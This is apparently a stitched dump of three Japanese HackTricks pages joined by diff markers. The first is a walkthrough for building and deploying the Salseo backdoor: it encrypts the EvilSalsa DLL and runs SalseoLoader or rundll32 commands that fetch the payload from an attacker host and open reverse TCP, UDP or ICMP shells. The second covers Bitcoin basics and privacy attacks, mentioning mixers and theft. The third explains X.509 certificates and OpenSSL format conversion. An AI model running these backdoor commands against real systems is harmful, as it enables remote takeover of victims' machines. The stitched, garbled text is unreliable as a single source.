* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
## バイナリのコンパイル
GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャ用にコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします
Visual Studio内で、**左側の"Build"タブ**内の\*\*"Platform Target"\*\*でアーキテクチャを選択できます。
\*\*このオプションが見つからない場合は、\*\*"Project Tab"**をクリックして、次に**" Properties"\*\*をクリックします)
![](<../.gitbook/assets/image (132).png>)
次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## バックドアの準備
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
### ウィンドウズ
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
## **バックドアの実行**
### **TCPリバースシェルの取得HTTPを介してエンコードされたdllをダウンロードする**
リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたEvilDalsa.dllを提供することを忘れないでください。
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **UDPリバースシェルを取得するSMBを介してエンコードされたdllをダウンロードする**
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバーimpacket-smbserverを起動することを忘れないでください。
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **ICMPリバースシェルを取得するエンコードされたdllはすでに被害者の中にある**
**今回は、リバースシェルを受け取るためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP応答を無効にする:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### クライアントを実行する:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### 被害者の内部で、salseoの操作を実行します
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## DLLエクスポートメイン関数としてSalseoLoaderをコンパイルする
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
### メイン関数の前に追加: \[DllExport]
![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\).png)
### このプロジェクトにDllExportをインストール
#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExportパッケージを検索ブラウズタブを使用し、インストールを押してポップアップを受け入れて**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
プロジェクトフォルダに**DllExport.bat**と**DllExport\_Configure.bat**というファイルが表示されます
### DllExportをアンインストール
**アンインストール**を押します(はい、奇妙ですが、信じてください、必要です)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studioを終了し、DllExport\_configureを実行
Visual Studioを**終了**します
その後、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します
**x64**を選択しますx64ボックス内で使用する場合、私の場合はそうでした、**System.Runtime.InteropServices****DllExportのNamespace**内)を選択し、**Apply**を押します
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### プロジェクトを再度Visual Studioで開く
\*\*\[DllExport]\*\*はもはやエラーとしてマークされていません
![](<../.gitbook/assets/image (8) (1).png>)
### ソリューションをビルド
**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> Output type = Class Library
![](<../.gitbook/assets/image (10) (1).png>)
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> Platform target = x64
![](<../.gitbook/assets/image (9) (1) (1).png>)
ソリューションを**ビルド**するには: Build --> Build Solution出力コンソール内に新しいDLLのパスが表示されます
### 生成されたDllをテスト
生成されたDllをテストしたい場所にコピーして貼り付けます。
実行:
```
rundll32.exe SalseoLoader.dll,main
```
もしエラーが表示されない場合、おそらく機能するDLLを持っています
## DLLを使用してシェルを取得する
**HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -0,0 +1,212 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝する**または**HackTricksをPDFでダウンロードする**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに**
</details>
# 基本用語
* **スマートコントラクト**: スマートコントラクトは、**特定の条件が満たされたときに実行されるブロックチェーン上のプログラム**です。通常、**合意**の**実行**を自動化するために使用され、すべての参加者が中間業者の関与や時間の損失なしに即座に結果を確認できます([ここから](https://www.ibm.com/topics/smart-contracts))。
* 基本的に、スマートコントラクトは、人々が契約にアクセスして受け入れるときに実行される**コード**です。スマートコントラクトは**ブロックチェーンで実行**され(その結果は不変に保存され)、人々がそれを受け入れる前に読むことができます。
* **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されます。通常、ユーザーがアプリとやり取りできるフロントエンドがあり、**バックエンド**は公開されています(したがって監査可能)し、**スマートコントラクト**として実装されています。場合によっては、データベースの使用が必要ですが、Ethereumブロックチェーンは各アカウントに一定のストレージを割り当てます。
* **トークン&コイン**: **コイン**は**デジタル通貨**として機能し、**トークン**は**何らかの価値を表す**ものですが、コインではありません。
* **ユーティリティトークン**: これらのトークンは、ユーザーが**後で特定のサービスにアクセス**できるようにします(特定の環境で価値を持つものです)。
* **セキュリティトークン**: これらは**所有権**またはある資産を表します。
* **DeFi**: **分散型ファイナンス**
* **DEX: 分散型取引所プラットフォーム**
* **DAOs**: **分散型自治組織**
# コンセンサスメカニズム
ブロックチェーントランザクションが認識されるためには、それが**ブロックチェーンに追加**される必要があります。検証者(マイナー)がこれを行います。ほとんどのプロトコルでは、これを行うと**報酬を受け取ります**。ブロックチェーンが安全であるためには、**悪意のあるユーザーやグループが検証の大部分を占有するのを防ぐメカニズム**が必要です。
Proof of workは、よく使われるコンセンサスメカニズムで、トランザクションを検証するために計算能力の検証を使用し、潜在的な攻撃者が検証者ネットワークの計算能力の大部分を取得する必要があります。
## Proof Of WorkPoW
これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者が検証者ネットワークの計算能力の大部分を取得する必要があるメカニズムです。\
**マイナー**は**いくつかのトランザクションを選択**し、その後**Proof Of Workの計算を開始**します。**最も多くの計算リソースを持つマイナー**がProof of Workを**早く完了**し、すべてのトランザクションの手数料を受け取る可能性が高くなります。
## Proof Of StakePoS
PoSは、検証者が一定量のブロックチェーントークンを持っていることを要求することで、**潜在的な攻撃者が攻撃を行うためにはブロックチェーン上のトークンの大部分を取得する必要がある**ようにします。\
この種のコンセンサスでは、マイナーが持っているトークンが多いほど、そのマイナーが次のブロックを作成する可能性が高くなります。\
PoWと比較して、これによりマイナーが消費するエネルギーが大幅に**削減**されます。
# Bitcoin
## トランザクション
単純な**トランザクション**は、アドレスから別のアドレスへの**資金移動**です。\
Bitcoinの**アドレス**は**公開鍵**のハッシュであり、したがって、アドレスからトランザクションを行うためには、その公開鍵(アドレス)に関連付けられた秘密鍵を知っている必要があります。\
その後、**トランザクション**が実行されると、そのトランザクションはアドレスの秘密鍵で**署名**され、トランザクションが**正当であることを示します**。
Bitcoinでデジタル署名を生成する最初の部分は、次のように数学的に表現できます\
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
ここで:
* \_d\_Aは署名**秘密鍵**です
* _m_は**トランザクション**です
* Fhashはハッシュ関数
* Fsigは署名アルゴリズム
* Sigは生成された署名
署名関数Fsigは、RとSの2つの値からなる署名Sigを生成します。
RとSが計算されたら、それらはDERDistinguished Encoding Rulesとして知られる国際標準エンコーディングスキームを使用してエンコードされたバイトストリームに直列化されます。署名が有効であることを検証するには、署名検証アルゴリズムが使用されます。デジタル署名の検証には、次のものが必要です
* 署名RとS
* トランザクションハッシュ
* 署名を作成するために使用された秘密鍵に対応する公開鍵
署名の検証は、トランザクションの所有者であるのは秘密鍵の所有者だけであり、トランザクションに対して署名を生成できるのはその秘密鍵の所有者だけであることを効果的に意味します。署名検証アルゴリズムは、署名が実際に有効である場合に「TRUE」を返します。
### マルチシグネチャトランザクション
マルチシグネチャ**アドレス**は、複数のECDSA秘密鍵に関連付けられたアドレスです。最も単純なタイプはm-of-nアドレスで、n個の秘密鍵に関連付けられており、このアドレスからビットコインを送信するには、少なくともm個の鍵からの署名が必要です。マルチシグネチャ**トランザクション**は、マルチシグネチャアドレスから資金を送信するトランザクションです。
### トランザクションフィールド
各ビットコイントランザクションにはいくつかのフィールドがあります:
* **Inputs**: **ビットコイン**が**送信元**の**金額**とアドレス
* **Outputs**: 各**出力**に**転送される**アドレスと金額
* **Fee:** トランザクションの**マイナーに支払われる**金額
* **Script\_sig**: トランザクションのスクリプト署名
* **Script\_type**: トランザクションのタイプ
**2つの主要なタイプ**のトランザクションがあります:
* **P2PKH: "公開鍵ハッシュへ支払う"**: これがトランザクションが行われる方法です。**送信者**に、有効な**署名**(秘密鍵から)と**公開鍵**を提供することを要求します。トランザクションの出力スクリプトは、署名と公開鍵を使用し、いくつかの暗号関数を介して**公開鍵ハッシュと一致するか**を確認し、一致する場合は**資金が使える**ようになります。この方法は、追加のセキュリティのために公開鍵をハッシュ形式で隠します。
* **P2SH: "スクリプトハッシュへ支払う"**: トランザクションの出力は、単に**スクリプト**(つまり、このお金を送りたい人がスクリプトを送信する)であり、特定のパラメータで実行されると`true`または`false`のブール値が結果として得られます。マイナーが提供されたパラメータで出力スクリプトを実行し、`true`になると、**お金は希望の出力に送信**されます。 `P2SH`は**マルチシグネチャ**ウォレットに使用され、トランザクションを受け入れる前に**複数の署名をチェックするロジック**を出力スクリプトに作成します。 `P2SH`は、誰でも、または誰もが資金を使えるようにするためにも使用できます。 P2SHトランザクションの出力スクリプトが単に`true`の場合、パラメータを提供せずに出力を使おうとすると、結果が`1`になり、誰でもが使えるようになります。これは、`0`を返すスクリプトにも適用され、出力が誰にも使えないようになります。
## Lightning Network
このプロトコルは、**チャネルに複数のトランザクションを実行**し、**最終状態**をブロックチェーンに保存するだけで**送信**します。\
これにより、Bitcoinブロックチェーンの**スピードが向上**し1秒あたり7回の支払いしか許可されない、Bitcoinブロックチェーンのードを介してチャネルが作成されるため、**追跡が難しいトランザクションを作成**できます:
![](<../../.gitbook/assets/image (611).png>)
Lightning Networkの通常の使用方法は、関連するベースブロックチェーンレイヤー1に資金トランザクションをコミットすることによって**支払いチャネルを開設**し、その後、ブロックチェーンに**ブロードキャストせずにチャネルの資金の仮分配を更新する**任意の数のLightning Network **トランザクション**を行い、最終的な**決済トランザクションの最終バージョンをブロードキャスト**してチャネルの資金を分配することによって**支払いチャネルを閉じる**ことです。
チャネルの両方のメンバーは、いつでも停止してチャネルの最終状態をブロックチェーンに送信できます。
# Bitcoinプライバシー攻撃
## 共通の入力
理論的には、1つのトランザクションの入力は異なるユーザーに属する可能性がありますが、実際には追加の手順が必要です。したがって、非常に頻繁に**同じトランザクション内の2つの入力アドレスは同じ所有者に属すると仮定**されることがあります。
## UTXOのおつりア
```
2 btc --> 4 btc
3 btc 1 btc
```
仮定されるのは、出力の1つがおつりであり、もう1つの出力が支払いであるとします。2つの解釈があります: 支払い出力は4 BTC出力または1 BTC出力のいずれかです。しかし、1 BTC出力が支払い金額である場合、3 BTC入力は不要です。なぜなら、ウォレットは2 BTC入力のみを使って支払いを行い、より低いマイナー手数料を支払うことができたからです。これは、実際の支払い出力が4 BTCであり、1 BTCがおつり出力であることを示しています。
これは、複数の入力を持つトランザクションに対する問題です。このリークを修正する方法の1つは、おつり出力がどの入力よりも高い値になるように、より多くの入力を追加することです。例えば:
```
2 btc --> 4 btc
3 btc 6 btc
5 btc
```
## 強制アドレス再利用
**強制アドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がビットコインの少額を支払って、すでにブロックチェーンで使用されたアドレスに支払うことです。敵対者は、ユーザーまたは彼らのウォレットソフトウェアがこれらの支払いを大きな取引の入力として使用し、共通の入力所有ヒューリスティックを介して他のアドレスを明らかにすることを期待しています。これらの支払いは、アドレス所有者を意図しないアドレス再利用に強制する手段として理解できます。
この攻撃は、時々**ダスト攻撃**と誤って呼ばれます。
ウォレットの正しい振る舞いは、すでに使用された空のアドレスに着地したコインを使わないことです。
## その他のブロックチェーン分析
* **正確な支払額**: おつりのない取引を避けるためには、支払いはUTXOと等しくなければなりませんこれは非常に予期しないことです。したがって、**おつりのないアドレス間の取引はおそらく同じユーザーの2つのアドレス間の転送**である可能性が高いです。
* **丸められた数値**: 取引で、出力の1つが「**丸められた数値**」である場合、これはおそらくその「丸められた数値」の価格を設定した人への**支払い**であるため、もう一方は残りの部分である可能性が高いです。
* **ウォレットのフィンガープリント**: 慎重な分析者は、異なるウォレットソフトウェアが常にまったく同じ方法で取引を作成しないため、特定の取引を作成したソフトウェアを推測することがあります。ウォレットのフィンガープリントは、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットのフィンガープリントで使われるものです。
* **金額とタイミングの相関**: 取引を行った人が取引の**時間**や**金額**を開示すると、それは簡単に**発見**される可能性があります。
## トラフィック分析
いくつかの組織があなたのトラフィックを**スニッフィング**していると、ビットコインネットワークで通信しているのを見ることができます。\
敵対者が、以前に入力されていなかったトランザクションやブロックがあなたのードから出てくるのを見ると、そのトランザクションがあなたによって行われたか、ブロックがあなたによって採掘されたことをほぼ確実に知ることができます。インターネット接続が関係しているため、敵対者はIPアドレスを発見したビットコイン情報と関連付けることができます。
インターネットトラフィックをすべてスニッフィングすることができない攻撃者でも、**多くのビットコインノード**を持っていることで**ソースに近づく**ことができ、トランザクションやブロックを発表しているIPアドレスを知ることができるかもしれません。\
また、一部のウォレットは、未確認のトランザクションを定期的に再放送するため、ネットワーク全体に広まりやすくなり、採掘されやすくなります。
## アドレス所有者の情報を見つけるためのその他の攻撃
より多くの攻撃については、[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を参照してください。
# 匿名ビットコイン
## 匿名でビットコインを入手する
* **現金取引**: 現金を使ってビットコインを購入します。
* **現金代替**: ギフトカードなどを購入し、オンラインでビットコインと交換します。
* **マイニング**: マイニングはビットコインを入手する最も匿名性の高い方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングにも当てはまります。
* **窃盗**: 理論的には、匿名ビットコインを入手する別の方法は窃盗することです。
## ミキサー
ユーザーは**ビットコインをミキシングサービスに送信**し、サービスは**異なるビットコインをユーザーに返送**します(手数料を差し引いた状態)。理論的には、ブロックチェーンを観察している敵対者は、着信と送信のトランザクションを**リンク**することができません。
ただし、ユーザーはミキシングサービスがビットコインを返送し、また受け取ったお金と送金の関係についてのログを保存していないことを信頼する必要があります。\
Bitcoinカジなど、他のサービスもミキサーとして使用できます。
## CoinJoin
**CoinJoin**は、異なるユーザーの複数の取引を1つに混合して、外部の観察者が**どの入力がどの出力に関連しているか**を見つけにくくするためのものです。\
これは新しいプライバシーレベルを提供しますが、**一部の取引**では、一部の入力と出力の金額が相関しているか、他の入力と出力と非常に異なる場合は、**外部の観察者によって依然として相関付けられる**可能性があります。
ビットコインのブロックチェーン上でおそらくCoinJoinトランザクションIDの例は、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。
[**https://coinjoin.io/en**](https://coinjoin.io/en)\
**CoinJoinに類似したもので、イーサリアム向けには** [**Tornado Cash**](https://tornado.cash) **(お金はマイナーから提供されるため、ウォレットに表示されるだけです)。**
## PayJoin
前のセクションで議論されたCoinJoinのタイプは、同じ値を持つ複数の出力をチェックすることで簡単に特定できます。
PayJoinまたは支払先エンドポイントまたはP2EPとも呼ばれるは、2つの当事者間で行われる特別なCoinJoinであり、一方の当事者が他方に支払います。そのトランザクションには、**同じ値を持つ複数の出力がない**ため、平等な出力のCoinJoinとして明らかに見えません。このトランザクションを考慮してください。
```
2 btc --> 3 btc
5 btc 4 btc
```
# Bitcoinプライバシーの良い実践方法
## ウォレットの同期
Bitcoinウォレットは、自分の残高や履歴に関する情報をどこかから取得する必要があります。2018年末時点で、最も実用的でプライバシーが保護された既存の解決策は、**フルノードウォレット**(最大限にプライベート)と**クライアントサイドブロックフィルタリング**(非常に優れている)を使用することです。
- **フルノード:** フルノードは、ビットコインでこれまでに行われたすべてのオンチェーン[トランザクション](https://en.bitcoin.it/wiki/Transaction)を含むブロックチェーン全体をダウンロードします。したがって、ユーザーのインターネット接続を監視している敵対者は、ユーザーが関心を持っているトランザクションやアドレスを知ることができません。
- **クライアントサイドブロックフィルタリング:** クライアントサイドブロックフィルタリングは、ブロック内のすべてのトランザクションのアドレスを含む**フィルター**を作成することで機能します。フィルターは、要素がセット内にあるかどうかをテストできます。誤検知は可能ですが、誤検出はありません。軽量ウォレットは、**ブロックチェーン**内のすべての**ブロック**のフィルターをダウンロードし、自分自身の**アドレス**と一致するかどうかを確認します。一致するブロックはピアツーピアネットワークから完全にダウンロードされ、これらのブロックはウォレットの履歴と現在の残高を取得するために使用されます。
## Tor
Bitcoinネットワークはピアツーピアネットワークを使用しているため、他のピアはあなたのIPアドレスを知ることができます。これが、**ビットコインネットワークとやり取りする際に毎回Torを介して接続することをお勧めする理由**です。
## アドレス再利用の回避
**アドレスを複数回使用することは、プライバシーに非常に損害を与えます。なぜなら、それにより同じエンティティによって作成されたことの証拠とともに、より多くのブロックチェーントランザクションがリンクされるからです**。Bitcoinを最もプライベートで安全に使用する方法は、**支払いを行うたびに支払いを行う相手に新しいアドレスを送信する**ことです。受け取ったコインを使った後は、そのアドレスを二度と使用しないでください。また、Bitcoinを送信する際には新しいBitcoinアドレスを要求するべきです。すべての優れたBitcoinウォレットには、アドレス再利用を des discourages するユーザーインターフェースがあります。
## 複数のトランザクション
**1つのチェーン上のトランザクションを複数回行う**ことは、金額に基づくプライバシー攻撃金額の相関や丸められた数値などの影響を大幅に軽減することができます。たとえば、ユーザーが誰かに5 BTCを支払いたいが、5 BTCの価値が簡単に検索されたくない場合、2 BTCと3 BTCの2つのトランザクションを送信して、合計5 BTCにすることができます。
## おつりの回避
おつりの回避とは、トランザクションのインプットとアウトプットが慎重に選択され、全くおつりが必要ないようにすることです。**おつりのアウトプットがないことは、プライバシーにとって優れています**。これはおつりの検出ヒューリスティックを破るためです。
## 複数のおつりのアウトプット
おつりの回避が選択肢でない場合、**1つ以上のおつりのアウトプットを作成することでプライバシーを向上させる**ことができます。これは通常のより多くのブロックスペースを使用するため、おつりの回避が望ましいです。

View file

@ -0,0 +1,195 @@
# 証明書
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、**ゼロからヒーローまでAWSハッキングを学びましょう**</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 証明書とは
**公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元サブジェクト、および信頼された機関発行者からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
証明書は、主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)CAsによって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKIのセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で詳細に説明されている特定のニーズに適応できます。
## x509共通フィールド
### **x509証明書の共通フィールド**
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです:
- **バージョン番号**はx509形式のバージョンを示します。
- **シリアル番号**は、主に取り消し追跡のために証明書機関CAシステム内で証明書を一意に識別します。
- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます:
- **Common Name (CN)**: 証明書でカバーされるドメイン。
- **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。
- **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。
- **発行者**は、CAのためのサブジェクトと同様のサブフィールドを含め、誰が証明書を検証して署名したかを示します。
- **有効期間**は、**Not Before**および**Not After**のタイムスタンプによってマークされ、証明書が特定の日付前または後に使用されないようにします。
- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
- **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**などのプロパティを指定して証明書のアプリケーションを微調整します。
#### **Key Usageと拡張**
- **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名や鍵の暗号化など)。
- **Extended Key Usage**は、証明書の使用ケースをさらに絞り込みますTLSサーバー認証用
- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。
- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。
- **Authority Information Access**および**CRL Distribution Points**は、発行CAを検証し、証明書の取り消し状態を確認するためのパスを提供します。
- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **OCSPとCRL配布ポイントの違い**
**OCSP****RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業する方法であり、完全な**CRL**をダウンロードする必要がない。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。
### **証明書透明性とは**
証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視であることを確認することで、証明書関連の脅威に対抗します。その目的は次のとおりです
* ドメイン所有者の知識なしにドメインのためにSSL証明書を発行するCAを防ぐこと。
* 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
* ユーザーを詐欺的な証明書から保護すること。
#### **証明書ログ**
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードであり、監査目的のための暗号的証拠を提供します。発行機関と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。
#### **クエリ**
任意のドメインの証明書透明性ログを調べるには、[https://crt.sh/](https://crt.sh)を訪れてください。
## **フォーマット**
### **PEMフォーマット**
* 証明書に最も広く使用されているフォーマット。
* 証明書と秘密鍵用の別々のファイルが必要で、Base64 ASCIIでエンコードされています。
* 一般的な拡張子:.cer、.crt、.pem、.key。
* 主にApacheおよび類似のサーバーで使用されます。
### **DERフォーマット**
* 証明書のバイナリフォーマット。
* PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントが欠けています。
* 一般的な拡張子:.cer、.der。
* Javaプラットフォームでよく使用されます。
### **P7B/PKCS#7フォーマット**
* Base64 ASCIIで保存され、拡張子は.p7bまたは.p7cです。
* 秘密鍵を除く証明書とチェーン証明書のみを含みます。
* Microsoft WindowsおよびJava Tomcatでサポートされています。
### **PFX/P12/PKCS#12フォーマット**
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。
* 拡張子:.pfx、.p12。
* 証明書のインポートおよびエクスポートにWindowsで主に使用されます。
### **フォーマットの変換**
互換性のために**PEM変換**が重要です:
* **x509からPEMへ**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **PEMからDERへ**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
* **DERからPEMへ**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
* **PEMからP7Bへ**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
* **PKCS7をPEM形式に変換する**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
